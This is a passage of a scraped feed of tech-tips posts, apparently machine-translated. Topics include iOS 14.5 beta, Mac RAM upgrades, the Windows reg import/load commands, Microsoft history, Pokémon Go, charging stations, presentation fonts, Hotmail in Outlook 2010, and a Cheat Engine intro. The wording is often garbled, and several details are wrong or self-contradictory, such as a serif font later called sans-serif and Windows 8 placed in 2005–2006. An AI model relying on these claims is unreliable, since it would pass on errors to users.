14.5 Beta ...\nNote : You need to back up your data before updating to avoid losing important data.\n1. What's new in iOS 14.5 Beta 1 The first beta of iOS 14.5 for iPhone users is adding a lot of new features, here is a list:\n Unlock iPhone without removing your mask or entering a PIN. This feature works with Apple Watch. Supports dual SIM operations on iPhone 12 mini, iPhone 12, iPhone 12 Pro and iPhone 12 Pro Max series. This feature is for phones with 1 physical SIM and 1 eSIM. Make an emergency call on Siri with the command: \" Hey Siri! Call Emergency \". Transfer AirPlay images to Apple Fitness +. Supports connecting game consoles to new Xbox and PlayStation consoles. In-App Tracking Transparency (ATT) gives you the option of allowing developers to track or not use your apps. Redesigned interface for Apple Podcasts. 2. How to update iOS 14.5 Beta 1 Step 1 . Visit the Beta Profiles website from the link below. Click Download iOS 14.5 Beta.\nDownload Beta Profiles here  Step 2 . Now go to\u0026nbsp; Settings \u0026nbsp;\u0026gt;\u0026nbsp; Profile downloaded \u0026nbsp;\u0026gt; select\u0026nbsp; \u0026nbsp;the iOS 14 Beta Software Profile Configuration Settings .\n Step 3 . You\u0026nbsp; agree \u0026nbsp;to the terms of the Developer Beta program.\u0026nbsp;Click Done . Proceed to restart the machine.\n Step 4 . Finally, go to\u0026nbsp; General \u0026nbsp;\u0026gt;\u0026nbsp; Software Update \u0026nbsp;\u0026gt;\u0026nbsp; Download and install the new \u0026nbsp;iOS 14.5 Beta.\n Good luck. Any questions about the iOS 14.5 Beta update leave a comment below. Remember to press Like and Share your support.\nios 14.5 ios 14.5 what's new ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2gma61sYyipqxlYWmCbq7ErZhmaV2pvG7BzaWmnKNdnr2pu82eZKKmXZZ6r7HWZqSerJiksQ%3D%3D\n","link":"/post/how-to-update-ios-14-5-beta-1-to-unlock-iphone-in-a-new-method/","section":"post","tags":null,"title":"How to update iOS 14.5 Beta 1 to unlock iPhone in a new method"},{"body":"If your Mac shows signs of slowness, upgrading RAM is a great solution. Although replacing the old hard drive with a modern SSD is the most powerful hardware improvement, but upgrading the RAM on the Mac helps you run multiple programs at the same time.\nHowever, the way to upgrade RAM will vary depending on your model. This article will show you how to upgrade RAM on the Mac, which models to upgrade and how to buy RAM.\nInstructions for upgrading RAM for Mac Mac models can upgrade RAM How to find the Mac model How to buy the right RAM for a Mac How to upgrade RAM on a Mac Step 1. Remove the MacBook cover Step 2: Remove old RAM Step 3: Install new RAM Step 4: Confirm Mac to receive RAM  Mac models can upgrade RAM   Unfortunately, most modern Macs do not allow users to upgrade RAM.\nRecent MacBook Pro and MacBook Air models produce RAM attached to the motherboard. Technically, users can upgrade the RAM of some newer iMacs but the work is not easy. You should not perform RAM upgrades on these machines unless you have experience with outdated electronics and machines.\nBelow is a list of Mac models users can upgrade RAM:\niMac (All except the following 21.5 inch models: Late 2012, Late 2013, Mid 2014, Late 2015, Retina 4K Late 2015, 2017, Retina 4K 2017 and Retina 4K 2019) Pro Mac (All models) Mac Mini (model 2010-2012) MacBook (model 2008-2011) MacBook Pro 13 ″ (2009-2012) MacBook Pro 15 ″ (2008-2012) MacBook Pro 17 ″ (All models) If you own one of the following Mac models, you cannot upgrade RAM (in some cases, such as Mac Mini 2018, it can be upgraded but quite difficult):\niMac Pro (All models) Mac Mini (2014, 2018) MacBook Air (All models) 12 ″ MacBook (All models) Retina MacBook Pro with Retina display (All models) MacBook Pro with Touch Bar (All models) Basically, the more your Mac is, the less likely you are to upgrade RAM.\nHow to find the Mac model   Many Macs have the same appearance, so you need to check the model of the device correctly before buying RAM.\nThe model search on macOS is very simple. Click on the Apple menu in the upper left corner of the screen and select About this Mac . On the Overview tab, you will see the Mac name at the top, such as the MacBook Pro (15-inch, 2016). Here you also see information about the amount of memory installed.\nTo avoid confusion, you should also get the device identification code. To do so, click the System Report button, then in the Hardware Overview section, find the Model Identifier , such as the MacBook7, 1.\nSave this information to buy RAM.\nHow to buy the right RAM for a Mac   Because there are many RAM models, this article cannot provide accurate details of RAM for each model. However, you can find a variety of websites that help find the right RAM for your model.\nThe first website you should visit is the Mac World page of Other World Computing. Here you can choose your Mac model to find compatible RAM. You will see the Mac types along with the corresponding RAM. In addition, it also has videos that show how to upgrade RAM.\nhttps://eshop.macsales.com/shop/apple/memory/  Another site you might consider is Crucial's Mac memory center. Here, you can enter the computer information (found above) or download the scan tool to check. You will see results showing SSDs and RAM can work on your Mac.\nhttps://www.crucial.com/usa/en/apple-memory  Ensure RAM compatibility\nWhen buying RAM, compatibility with your system is very important. Not all types of RAM can work on every Mac computer, so it's important to make sure you buy the right component. Otherwise, your computer will not work.\nThis is why you should buy from a specialized RAM upgrade store for Mac. You should avoid cheap RAM with little or poor reviews.\nFinally, you need to buy the right amount of RAM for your system. See OWC's MaxRAM page above to find out how much RAM your particular computer has. In many cases, this capacity may exceed the maximum limit provided by Apple.\nThis page also provides the number of memory slots for your computer. Most MacBook models have two memory slots. To take advantage of dual channel memory, you should buy two RAM sticks with the total capacity you want. For example, if you want to upgrade to 8GB of RAM, you should buy two 4GB sticks.\nThe amount of RAM you need to buy depends on your needs. 8GB is a moderate amount if you don't need to perform heavy tasks. If you perform multiple tasks and your computer supports it, upgrade to 16GB.\nHow to upgrade RAM on a Mac Here is the general procedure for upgrading RAM for your Mac. As mentioned, this article cannot provide detailed instructions for each Mac model.\nThis is just a basic overview of the MacBook interface from the middle of 2010. Although it may be slightly different from your Mac, the basic process is the same. Most iMac models have a convenient window to access the RAM compartment, making it easier on laptops.\nWhile executing be careful with electrostatic discharge, may damage computer components. Ensure grounding on a metal object before starting the process and performing on a surface with no static electricity. You should not pull your feet on the carpet while performing the upgrade.\nWhen processing RAM, make sure you take it on either side so you don't touch any sensitive parts. Avoid handling RAM with gold-connected pins.\nStep 1. Remove the MacBook cover   First, turn off the computer if not. Next, unplug the Mac from the power source, remove all connected accessories. Turn the MacBook upside down and you will see some screws, remove them with a standard Phillips screwdriver.\nWhen removing it, you should place the screw in a place as carefully as in a paper or lid engraving to avoid falling because they are quite small.\nStep 2: Remove old RAM   When removing the cover, you'll see the RAM right away because the MacBook doesn't have a lot of removable parts. In the image above, RAM is a green component on the Samsung drive.\nWith this MacBook, you'll see there are two small clips on either side of the RAM to keep it in place. You need to gently push these things out of the RAM and flip up to pull it out.\n  Repeat the above process for the second RAM, then set this old RAM aside.\nStep 3: Install new RAM   Get the new RAM, arrange notch in the right connector pins with notch in the RAM compartment. It only goes one way, so it's not difficult for you to put in place.\nAfter lining up the notch at about 30 degrees and lightly pressing down on RAM, you will feel it in the right place. Repeat the above process for the second bar and you're done.\nAfter the new RAM is safely in place, you need to reinstall the cover. However, while the computer is disassembled, you should spend a minute to clean any visible dirt with a cotton swab or bottled gas to remove dirt especially in the fan.\nThen, put the lid in place and screw the screw again.\nStep 4: Confirm Mac to receive RAM Start the computer to make sure it receives the correct RAM. In the About This Mac window, you'll see the amount of new RAM next to Memory . To see more information, you can open the System Report and click on the Memory tab.\nSo you have completed the process of upgrading RAM on a Mac.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2gnL%2BisMRmqZqlXaS7bq2Mppic\n","link":"/post/how-to-upgrade-ram-on-a-mac/","section":"post","tags":null,"title":"How to upgrade RAM on a Mac"},{"body":"After 8 versions of beta testing for 3 months, Apple has officially released iOS 14.5 with many major upgrades in features. Specifically, allowing users to unlock FaceID even when you wear a mask (used in conjunction with Apple Watch). Additional about 200 new emojis with many different themes and emojis. Support using 5G for both SIMs, support for AirTag, support for new PlayStation 5 and Xbox Series X gaming controllers .\nSo with a series of new features above, the performance of iOS 14.5 really decreased compared to iOS 14.4.2, invite you to read and follow the comparison video posted by iAppleBytes.\n\u0026gt;\nSurprisingly, with a host of new features, iOS 14.5 still delivers impressive performance and operating speeds that are almost equivalent to iOS 14.4.2 for both the old iPhone and the new iPhone.\nYouTuber has brought out old devices like iPhone 6s, iPhone SE, iPhone 7/8 / Xr and iPhone 11 respectively. What are you waiting for without quickly updating to the latest Apple version. To download iOS 14.5, please read the same refer to the article below.\u0026nbsp;\nncG1vNJzZmismaXArq3KnmWcp51ktrC%2FjGprbmWmqHqqu9JmaG1sYmK9pr7FqKmmmZ6Ysm6vzqanmqqZqLyvecCrnGaln6eybrLEmquuqpWoerS4zrCcqw%3D%3D\n","link":"/post/ios-14-5-vs-ios-14-4-2-performance-comparison-are-more-features-slower/","section":"post","tags":null,"title":"IOS 14.5 vs iOS 14.4.2 performance comparison: Are more features 'slower'?"},{"body":"Reg import command The reg import command helps to copy the contents of the file containing the subkey, entry and register value to the local computer's registry.To learn more about how to use this command, see the example section below.\nSyntax reg import command\n Reg import FileName  Parameter reg import command\nParameters\nDescribe\nSpecify the name and path of the file whose content will be copied to the local computer's registry.This file must be created before using the reg export command.\n/?\nShow help at thecommand prompt.\nGenerate reg import command\nThe following table lists the return values ​​for the reg import command:\nValue\nMeaning\n0\nSuccess\nfirst\nFailure\nFor example, the reg import command\nTo enter registry entries from a file called AppBkUp.reg, type:\n reg import AppBkUp.reg  Reg load command The reg load command helps to write subkeys and entries to another subkey in the registry.Intended to be used as temporary files to troubleshoot or edit registry entries.To learn more about how to use this command, see the example section below.\nSyntax reg load command\n reg load KeyName FileName  Reg load command parameter\nParameters\nDescribe\nSpecify the full path of the subkey to be downloaded.To specify a remote computer, attach the computer name (in the format) as part of the KeyName parameter.In addition, parameter KeyName1 must also include a valid root key.Valid root keys for local computers are: HKLM, HKCU, HKCR, HKU and HKCC.If the remote computer is specified, valid root keys will be HKLM and HKU.\nSpecify the name and path of the file to download.This file must be pre-created using the reg save command and the extension is .hiv.\n/?\nShow help at thecommand prompt.\nReg load statement\nThe following table lists the return values ​​for the reg load command:\nValue\nMeaning\n0\nSuccess\nfirst\nFailure\nReg load command example\nTo download the file named TempHive.hiv into the HKLM TempHive key, enter:\n REG LOAD HKLMTempHive TempHive.hiv  See more:\nThe qprocess command in Windows Qappsrv (query termserver) command in Windows The quser (query user) command in Windows The pubprn command and the pushprinterconnections command in Windows ncG1vNJzZmismaXArq3KnmWcp51kwamxjJympqWRo7FuvsSgZKKloKS%2FtXnAp5tmqpWceq27wJ1koqZdrLavsM6wqg%3D%3D\n","link":"/post/the-command-reg-import-and-reg-load-in-windows/","section":"post","tags":null,"title":"The command reg import and reg load in Windows"},{"body":"Today, PCs have become so familiar with our lives. There are many factors that have made the PC popular, familiar and widespread. One of them is windows, the most popular OS on personal computers today. As everyone knows, windows is a product of the leading technology company: Microsoft. Maybe Gates , Microsoft, windows are idols of many of us but do you know the history, past events that affect the vision, strategy and characteristics (about the product? , people .) of the company in the present time. Join us in looking back at the past and the history of the company to find the answer.\n  Overview of Microsoft history It would be meaningless if we spent too many words to talk about the history of Microsoft because you can find it anywhere (if you want to learn more, please refer here (English) or here ( Vietnamese). In general, Microsoft multidisciplinary, multinational companies produce high-tech related products. Microsoft is the world's largest technology firm until mid-2010 - when Apple took over. Microsoft works in many areas: software, hardware (Xbox, home entertainment devices), PC games (AOE, Halo), online advertising (Bing) . However, important products The company's most influential, still the world's number one operating system: Windows.\n  In two co-founders, Bill Gates is a more famous name, having a greater influence on Microsoft's development. Bill Gates for many years kept the richest man on the planet. He has now left his full-time job at Microsoft to spend time with the charity led by him and his wife.\nThe beginning period When Bill Gates gave up his Harvard third year student card and founded Microsoft with Paul Allen in April 1975, both stepped into one of the greatest and most adventurous adventures in technology history. Gates and Allen's first project and the Altair - the device they later described as \" the first representative of the PC world \". The task of both of you (and Microsoft at first) is to write Basic translation software for the Altair 8800 .\n  Shortly thereafter, the cooperation that later changed the world took place: IBM and Microsoft began to attack the personal computer market. While IBM was already a big company, owning important inventions, Microsoft was still a small company with a few employees. Gates bought 86-DOS from Seattle Computer Products, renamed and created one of the most familiar operating systems for us MS-DOS (IBM called PC-DOS). Under agreements with IBM, Microsoft kept the MS-DOS license in 1981 and sold it to IBM for $ 6 per copy.\nSee Bill Gates Many admire Bill Gates is not Bill Gates' technical and programming talent, although he has been the chief architect of Microsoft for a long time, it is a vision, accurate ability to worthy decisions and opportunities.\n  The first thing that led to this observation was that he bravely left his chair one of the most prestigious universities in the world. Perhaps there is no need to say much more about Harvard, the oldest and most respected 400-year-old school in the United States. According to statistics in the past year, only 7.1% of applicants (record low numbers) were accepted to study here. Bill Gates dropped out of his studies in his third year, which means that in about 1 to 2 years he will have a degree that any student in the world wants.\nWhy? That's because he saw the tremendous potential of the PC market, more specifically the PC OS market. At the time, when PCs were expensive, heavy and hard-to-use machines, did anyone think it would soon become as small and popular as it is today? Anyone think will sell (even sell a lot) software royalties for machines that only appear in dreams? Probably not many people. Even the geniuses of IBM (the largest PC maker) a few years later did not see this potential when they accepted to let Microsoft and Bill Gates keep Windows rights.\n  Some people up until this point still think that Bill Gates' drop-out stories are an excessive image. The main point for them to make this judgment is his family. From this point of view, the fact that Bill Gates quits school is not really \"horrible\" because his family is in \"conditional\" form: his father is a famous lawyer, his mother is a member of the bank's board of directors, grandfather is the president of a national bank. The fact that he dropped out of school if he failed, Gates completely had a way out.\nThe same is true, but from a different perspective, does the pressure of a prestigious family like Gates' family make him more pressured? Do you underestimate a person who dares to give up the world's most prestigious university degree? Are you brave to refuse to become the director of the division of one of the world's largest companies then? The answer lies in you. Another unknown point about Gates' ability to \" look ahead \" is in the final years of the 9xs. At the same time, he spoke of a \"desktop computer with power\" and a model of them. Yes, the device I want to mention is the tablet. Most of us think the tablet came into being since Steve Jobs took it on WWDC 2010 but since the beginning of 2000, Gates has introduced a similar product. However, technology was not enough to realize his idea, so Microsoft failed.\n  One more thing that proved Bill Gates' vision and importance to Microsoft was when he left his job at the largest software company on the planet. During the period Bill Gates also holds the absolute role of chief engineer at Microsoft, Windows versions always outperform rivals (including Mac) in technology, features, compatibility . At that time No one doubts its adaptability to market changes.\nThe time of 2005 2006 when Bill Gates no longer focused 100% effort on work at Microsoft, immediately, he saw the importance of him. Windows Vista debuted, Windows 8 was slow in the market, IE 8 became a disappointing version, Office of new releases was appreciated but not superior, losing the number one position. the world . It seems that Microsoft is going through the post-Bill Gates extremely difficult period.\nEven if IE 9, Windows Phone 7, Office 2010 . are appreciated, I don't see it as an outstanding, ahead of its time like what Windows 3.0, Windows 95 or closer is Windows XP. - products bearing Bill Gates' mark.\nncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYsGpsYyfoKurpGKxosWMqJ1mrKKkwqO4xGaYp5xdq7a0tc6nZKieXZe2rbiMoJitnaM%3D\n","link":"/post/the-first-day-of-trouble-and-vision-of-bill-gates/","section":"post","tags":null,"title":"The first day of trouble and vision of Bill Gates"},{"body":"Just a few hours after its launch, Pokémon Go created a big storm that swept across game charts on smartphones. This virtual reality game has quickly spread to the entire online community, people pouring into each other to battle for Pokémon. And to be able to survive and win the battle to catch this Pokémon, you need to know the basic and necessary knowledge when joining Pokémon Go. Especially increase the power of Pokémon legions, when upgrading and evolving their Pokémon.\nSummary - How to play Pokemon GO, virtual reality game catch Pokemon on smartphone 1. Collect Pokémon: As soon as we join the game, we will choose the trainer image for us. After completing the character shaping process, the system will display your first Pokémon on the map. The thing to do now is, when you see a Pokémon anywhere, throw the ball at the Pokémon as quickly as possible, as accurately as possible. Once we have a good amount of Pokémon, we can go to war with many other opponents.\n   There will be a red circle signaling around Pokémon. Inside that color circle is a smaller blue circle.Throwing a Pokéball in the blue circle , you'll get XP as an experience point. Catching Pokémon , we will get Candy and Stardust to power Pokémon. Candy can be used to evolve Pokémon .\n2. Experience points and levels: The first step when participating in the Pokémon Go battle, you will be at level 1. After going around and catching Pokémon as much as possible, you will receive XP to level up. Or go to Pokéstops also increase your XP score.\n  XP will also be divided into points based on your activities in Pokémon Go:\n100 XP for any Pokémon you catch. 500 XP if you catch a new Pokémon. 10 XP for a nice catch. 10 XP for an arc-shaped Pokéball pitch. 50 XP for a great catch (great). 50 XP for a walk around a Pokéstops. At the first level, the player will need about 4,000 XP to level up. After reaching level 5 we can use Pokémon Gyms.\n3. Upgrade and evolve Pokémon: There are 151 data files in the trial version of Pokemon GO, corresponding to 151 first generation Pokemon, divided into three main categories: Normal, Legendary and Mythic.\nPokémon Go has all of the Pokémon's 7 natural properties (you can understand them as role-playing games): Stoic, Guardian, Assassin, Raider, Protector, Sentry and Champion. All Pokemon types like Fairy, Dark, Steel.vv appear in the data file.\nWe can rename Pokémon by touching the pencil icon to the right of the Pokémon name. The Pokémon upgrade can touch the Power up button. To upgrade a Pokémon requires Stardust and Candy.\n   To evolve Pokémon , game players can touch the Evovle button . When doing Pokémon evolution, you'll need lots of Candy. So try to catch lots of Pokémon before you intend to evolve.\nIn addition, we can also transfer Pokémon to the Proessor Willor by tapping the Transfer button. When clicking Transfer, the system will remove the Pokémon from your Pokémon \"warrior\" collection, and return the Candy number. If you catch many Pokémon of the same type, you can use Transfer to collect Candy for upgrading and evolving Pokémon.\nWish you all have fun playing games!\nncG1vNJzZmismaXArq3KnmWcp51kwam1zaCqZqyfYrivu9Zmq6hlpaW0s63DnmSpp5uaurC6jKKlZqifoLKuu81mnqg%3D\n","link":"/post/things-to-know-to-upgrade-pok%C3%A9mon-in-pok%C3%A9mon-go/","section":"post","tags":null,"title":"Things to know to upgrade Pokémon in Pokémon Go"},{"body":"The station can be wired, wireless, or both, allowing you to charge your phones, tablets, smart watches and many more. Most of the charging stations in the list below have equivalent power sources, full of Lightning ports, micro USB, USB-C cables, they will differ in certain functions. In the article below, TipssMake will introduce you to the top best charging stations today.\n1. SIIG Smart 10 USB ports The charging station from SIIG has an eye-catching design, with up to 10 different USB ports for charging. These ports can detect optical output power to various devices and automatically turn off a series when the unit is fully charged. The output connection doesn't slow down when you plug in multiple devices at the same time, which is a big plus. The charging station also has eight soft silicone pads to hold your phone, tablet or any other device under 0.75 inches thick.\n  With devices such as smart watches or wireless headphones, SIIG has its own non-slip charging table with LED lights below, which can be turned up and down. Unfortunately, this station doesn't come with its own charging cable, so you can either use your existing cable or buy a short set of USB cables to get rid of any messy wires.\n2. Vogek 5 ports Vogek Charging Station is a 5-port USB charging station with a total of 8 cables to charge phones, tablets, smart watches, AirPods and many other devices. It has 4 Lightning cables, 2 micro USB cables and 2 USB-C cables, allowing up to 5 devices to be charged at the same time. The cable is short, minimizes clutter and allows you to organize your device neatly.\n  Total output power is 50W, with 10A output for fast charging and each port can output 2A. Charging stations can also automatically identify connected devices and their charging requirements, providing the right amount of power without overvoltage or overload.\n3. GUS Eco Bamboo Unlike some other devices, the GUS Eco Bamboo multi-device charging station does not contain any internal USB ports or power sources. It's simply a sorting tool that organizes and hides your charging cables. The advantage is that you don't have to go out and buy special short charging cables - you can just use what you already have. The downside is that you still need to plug each cable into the power supply, even if it's a small USB charger hidden inside the station itself.\n  The bottom is actually a hollow compartment with built-in elastic straps that allow you to stretch the excess wire length and leave only the end poking through the top of the station. This charging station has enough room for five different charging cables, with three vertical slots for phones and two larger slots for a tablet or laptop.\n4. Satechi 7 USB ports This beautiful looking Satechi charging station has seven USB ports for simultaneously charging all of your mobile devices. There are four 5V / 1A ports optimized for phones and three 5V / 2A ports for tablets and laptops, all with built-in surge protection. Note the device does not include a charging cable. The base unit measures 7.4 x 5.5 inches (compact size for a station with these multiple ports) and has seven 0.75-wide slots with clear plastic divider compartments. Each slot has non-slip silicone handles on the bottom to prevent your device from slipping around or getting scratched.\n  5. Smart charging station Simicore USB This Simicore charging station has a compact size of 7.3 x 5.1 inches, can instantly merge a bunch of cables and charging plugs. It has six USB ports that support simultaneous charging and has an internal \"smart\" circuit that automatically adjusts to the optimal amperage of your device. This charging station comes with its own cable. Many equivalent charging stations have USB ports, but you can either use an existing cable (which might be much longer than needed) or buy a new, shorter cable that matches the station. Simicore actually has properly sized cables in the box, including three Lightning cables, one Type-C cable for Android, and three micro-USB cables to support all wireless mobile devices in your home.\n  The station has six 0.75-inch device slots with clear, illuminated plastic markers to show you the charging status of the connected device. Each slot has a silicon base to prevent slip and scratches.\nTop 5 charging station ncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5km52jqXqktMCrnqKml2LAta3Toqanq11nfXN9\n","link":"/post/top-5-best-charging-stations-2021/","section":"post","tags":null,"title":"Top 5 best charging stations 2021"},{"body":"The new upgraded version of Vaio P is also equipped with an accelerometer to rotate the screen like current high-end phones . Vaio P newly equipped screen size 8 inch and weigh 0.59 kg smaller than the previous version is 0.64 kg. These models feature enhancements such as optical touchpad and accelerometer to rotate the screen when reading documents or tilting the device to the left and right to move forward or backward when viewing the web. The design of the Vaio P is also a bit different as the edges of the screen border are smoothed out. The hardware is also upgraded with Intel Atom Z560 processor. The new Vaio P line will be available next June but no official price has been revealed.\n  Vaio P with 5 colors to choose from is blue, pink, orange, white and black.\n  The new Vaio P can be rotated vertically to read documents or view the web, tilting the device Left or right to move forward or backward when browsing the web.\n  The screen is slightly beveled at the edge compared to the old version.\n  The new Vaio P adds an optical touchpad.\n  Machine will appear in this June.\nncG1vNJzZmismaXArq3KnmWcp51kw6K1zmanZqGjYrumw4ywoK2gXaKur8WMnKalp6KoeqK6w2amqayZmK6tedOorJygoJax\n","link":"/post/vaio-p-is-new-with-many-colors-and-optical-touchpad/","section":"post","tags":null,"title":"Vaio P is new with many colors and optical touchpad"},{"body":"Typography can make a presentation successful or break it. You can spend hours choosing templates and colors, but if you use inappropriate fonts, the presentation will not produce the expected results.\nIn a professional environment, it is important to choose fonts that convey seriousness but still show joy. This balance is difficult to achieve. Below, TipsMake.com will introduce you to free Google fonts, perfect for professional presentations.\nPerfect Google top font for presentations Serif font and Sans-Serif font The best free Google fonts for professional presentations 1. Playfair Display 2. Arvo 3. Crimson 4. Open Sans 5. Lato 6. Montserrat 7. Merriweather 8. Abril Fatface 9. Ubuntu 10. Raleway  Serif font and Sans-Serif font Fonts are mainly divided into two categories: serifs and sans-serifs. Serif means 'tail' in Latin. The serif font is the font with the strokes at the end of the letters.Times New Roman is the best example of popular serif fonts.\nSans stands for 'without'. Therefore, sans-serif fonts are non-sharp fonts at the end of the text (eg Helvetica or Arial).\nFor a professional presentation, it is best to use sans-serif fonts. But some new serif fonts can also work quite well for title slides.\nThe best free Google fonts for professional presentations 1. Playfair Display   Playfair Display is a delicate serif font. It can be traced back to the Enlightenment Age in Europe in the late 18th century when bold pens were replaced with sharp steel pens. This change gives Playfair a feminine charm, in stark contrast to the boring serif fonts like Times New Roman.\nPlayfair Display makes a more elegant title text in the presentation; Especially when combined with pastel color backgrounds.\nGood match with: Open Sans\n2. Arvo   Arvo is a perfectly designed slab-serif font. It has a geometric typeface that combines classic and modern beauty. Arvo Regular is the modern version, the sliver of slab serif, while the Arvo Bold has thicker features and sharp corners.\nArvo Bold works best in large font sizes, like titles for business-related presentations or businesses. When combined with the right colors, Arvo can become a powerful 'weapon'.\nGood match with: Lato\n3. Crimson   Crimson has a simple beauty, which is not much of a font. If you want to impress your audience with a classic but interesting presentation, consider using Crimson for the titles and subtitles.\nCrimson is a sans-serif font, inspired by Garamond fonts. Crimson is a modern version of traditional old-style fonts and designed to look better on the screen and the web. If you're tired of using Times New Roman in a presentation, switch to Crimson.\nGood match with: Montserrat\n4. Open Sans   When preparing to make a professional presentation, the first rule is to avoid writing long paragraphs of text. Even a list of bullet points can sometimes make the audience feel bored. But if you need a few lines to explain something or want a long quote as a slide, try using Open Sans.\nOpen Sans is an open source sans-serif font, a type of Humanist (a term to classify typefaces). Open Sans works well in almost all cases where long paragraphs are needed. Open Sans is an easy-to-read font, even at a small size. The semibold version (typeface with thick but not thick strokes) of this font works well as a title font.\nGood match with: Raleway\n5. Lato   Lato means summer in Polish. When you look closely at this font, you will be surprised that such a detailed meticulous font is available for free in open source.\nLato was commissioned by a large corporation but then decided to go in a different direction. Therefore, Lato has now been converted into a free font. Fonts look very fun with semicircular details, but still professional. Because Lato is designed to be a flexible font, it can be used for both long paragraphs and title fonts.\nGood match with: Open Sans, Raleway\n6. Montserrat   Montserrat is the perfect way to convey youthfulness and forward thinking in a professional presentation. Montserrat is the font you often see on technology startup landing pages. This font is inspired by old posters and signs from the neighborhood of Montserrat in Buenos Aires.\nThanks to its geometric appearance, Montserrat is one of the fonts that combines very well with other sans-serif fonts. For example, Montserrat in Bold will work well with Open Sans and Lato.\nGood match with: Open Sans\n7. Merriweather   Merriweather is a serif font designed for on-screen reading. Merriweather is a traditional serif font but has more generous features. The letterform itself is condensed, creating more space between letters.\nGood combination with: Open Sans, Roboto\n8. Abril Fatface   Abril Fatface is part of Abril's family with 18 different typefaces, from the Display version to the Text version. Fatface version is not for everyone. In fact, Abril Fatface is the style choice for people with special 'gu'.\nThe Abril Fatface has a thick, grainy texture combined with a thin tail. This combination gives this font a unique 'personality' and gives a strong impression when it appears on the screen. Using Abril Fatface, the presentation will create a sense of solemnity and make viewers feel happy. If you want your text to stand out while maintaining a professional look for the presentation, try using Abril Fatface as the title font.\nGood match with: Raleway, Open Sans\n9. Ubuntu   Consider Ubuntu as its own version of Open Sans. Ubuntu is also an open source sans-serif font, belonging to the humanist type. Canonical, the company behind Ubuntu Linux, has sponsored the development of Ubuntu.\nWhile Open Sans has symmetrical rounded edges, Ubuntu bends from a single edge. This is most evident in letters such as 'u' and 'n'.\nGood match with: Open Sans, Raleway\n10. Raleway   Raleway offers elegant serif fonts for sans-serif fonts. Raleway has a slim font designed to be used for title sections, making it a perfect choice for title slides.\nIf you find the regular version somewhat fragile, then you can try the semibold version.\nGood match with: Roboto, Merriweather\nThe most important aspect of designing a presentation is not to do everything. Just choose one or two fonts and use them all over the presentation. The same rule applies to colors and templates. Keep things simple and consistent.\nIf you feel confused because there are too many different fonts, or can't distinguish serif and sans-serif fonts, just choose a simple sans-serif font like Open Sans and use it.\nBesides, try combining different sans-serif and serif fonts, such as 'Crimson' pairing with Lato or Playfair Display with Open Sans and see if the effect they bring meets your needs. is not.\nThe combination of fonts can be done quickly and easily online. You do not need to download all fonts on the computer. Use websites like Google Fonts and Font Pair to find the perfect font pair for your presentation.\nWish you find the right font and have a successful presentation!\nncG1vNJzZmismaXArq3KnmWcp51kfnF5wZ6qrWWWp7KmecaopqCklWKzsLrTrGSfp6JivbO7xZ6qrKGfo66tec%2BrnKydnqmutbXOp6o%3D\n","link":"/post/10-best-free-google-fonts-for-professional-presentations/","section":"post","tags":null,"title":"10 best free Google fonts for professional presentations"},{"body":"TipsMake.com - Recently, Microsoft is releasing a follow-up update of Hotmail service, promising to bring better webmail service. However, Microsoft's Outlook 2010 patch has appeared. How to login Hotmail through Outlook\nOutlook 2010 version works with many different email versions, including accounts using POP3, IMAP and Exchange protocols. The problem is that POP3 and IMAP are synchronous emails, not the calendar and contact list as the Exchanges email. However, with Hotmail, you can synchronize your email, contacts, calendar and outlook with the Hotmail Connector. This will make it easy to view all PIM data anywhere. Please follow the instructions to help set up Hotmail and Live Mail into your Outlook 2010 account.\nBegin\nThe easiest way to add Hotmail to Outlook is to set up Outlook Hotmail Connector (32-bit and 64-bit versions). Outlook is closed before proceeding with the installation as usual.\n  If you sign up for a Hotmail account while setting up the New Account of Outlook before installing Hotmail Connector, Outlook will help the Hotmail Connector download. However, you will have to exit Outlook before installing the Connector, then re-login your information when you restart Outlook. So it will be easier if you initially install Outlook only.\n  Add Hotmail account to Outlook\nNow you're ready to add a Hotmail account to Outlook. When you open Outlook 2010 you will see a green screen, click Next to continue\n  Select Yes\u0026gt; Next\n  If you already have an email account in Outlook, you can open a new account by clicking File\u0026gt; Add account\n  Enter your Hotmail account information\u0026gt; Next\n  Outlook will check your registered account, then automatically set up your account with the Hotmail Connector you previously installed\n  If you enter the wrong password, the popup will appear. Re-enter the password, select OK and Outlook will check your settings again\n  After the installation is complete, click Finish and check the Hotmail account on Outlook.\n  Welcome to the new Hotmail 2010. You will see a small note at the bottom of the window to confirm that you are connected to Windows Live Hotmail. Now, your email will sync with your Hotmail account, the outlook calendar and contact list will be synchronized with Live's calendar and list. That's the closest way you can get full Exchange without having an Exchange account. According to those who used it, that was great. In fact, Hotmail Sync seems to work faster than IMAP.\n  Set up Hotmail via POP3\nIf you need to log into your Hotmail account but don't want to install Outlook Connector, you can add it to POP3. In our opinion, using Outlook Connector is the best solution, but if you can't install it (for example, you can't install any more programs on your computer) then this is a good choice.\nTo install, follow the instructions below to set up a POP3 Gmail account in Outlook. Although this article focuses on Gmail, the installation is almost the same. The only thing you want to change is the Incoming and Outgoing server.\n• Incoming mail server - pop3.live.com\n• Outgoing mail server - smtp.live.com\n• User name - your Hotmail or Live email address\n• Username - email address of hotmail and Live\n• Incoming Server (POP3) - 995\n• Outgoing Server (SMTP) - 587\nJust like Gmail, select TLS to connect synchronously. Then at the bottom of the screen, make sure you don't select the Remove messages dialog from the server after a few days. As such, your messages will still be saved in your Hotmail account.\n  Although Hotmail is not as popular as Gmail, it works really well when integrated with Outlook. If you are familiar with using Windows Live services, or want to try it out, the Outlook Connector is the easiest way to help screen activity sync with cloud computing. You are just one of millions of Hotmail users who want to sign in to their old Hotmail account in parallel with other accounts, this is the best option for you.\nncG1vNJzZmismaXArq3KnmWcp51krqWwjKGmraWRnrlurc2dZKWhppp6prnAoqNmmZOYvLa606xkraddpMK1uM6oomZqYGZ9\n","link":"/post/add-hotmail-and-live-email-accounts-to-outlook-2010/","section":"post","tags":null,"title":"Add Hotmail and Live Email accounts to Outlook 2010"},{"body":"You can use the Cheat Engine to change the code, especially when it comes to game variables.\nDownload Cheat Engine for windows here Download Cheat Engine for\u0026nbsp;MAC here   Features of Cheat Engine Make changes to your favorite games and shows Many gamers like to download Cheat Engine for free to modify single player games. It changes some mechanics, such as difficulty, infinite (in-game) ammo or the ability to see through walls. Some players who don't like cheating call CE users game hacks.\nCheat Engine features include scanning the software's memory and decoupling internal processes for editing. Using this method, you can search for any program variable that you want to change. When you play a game with 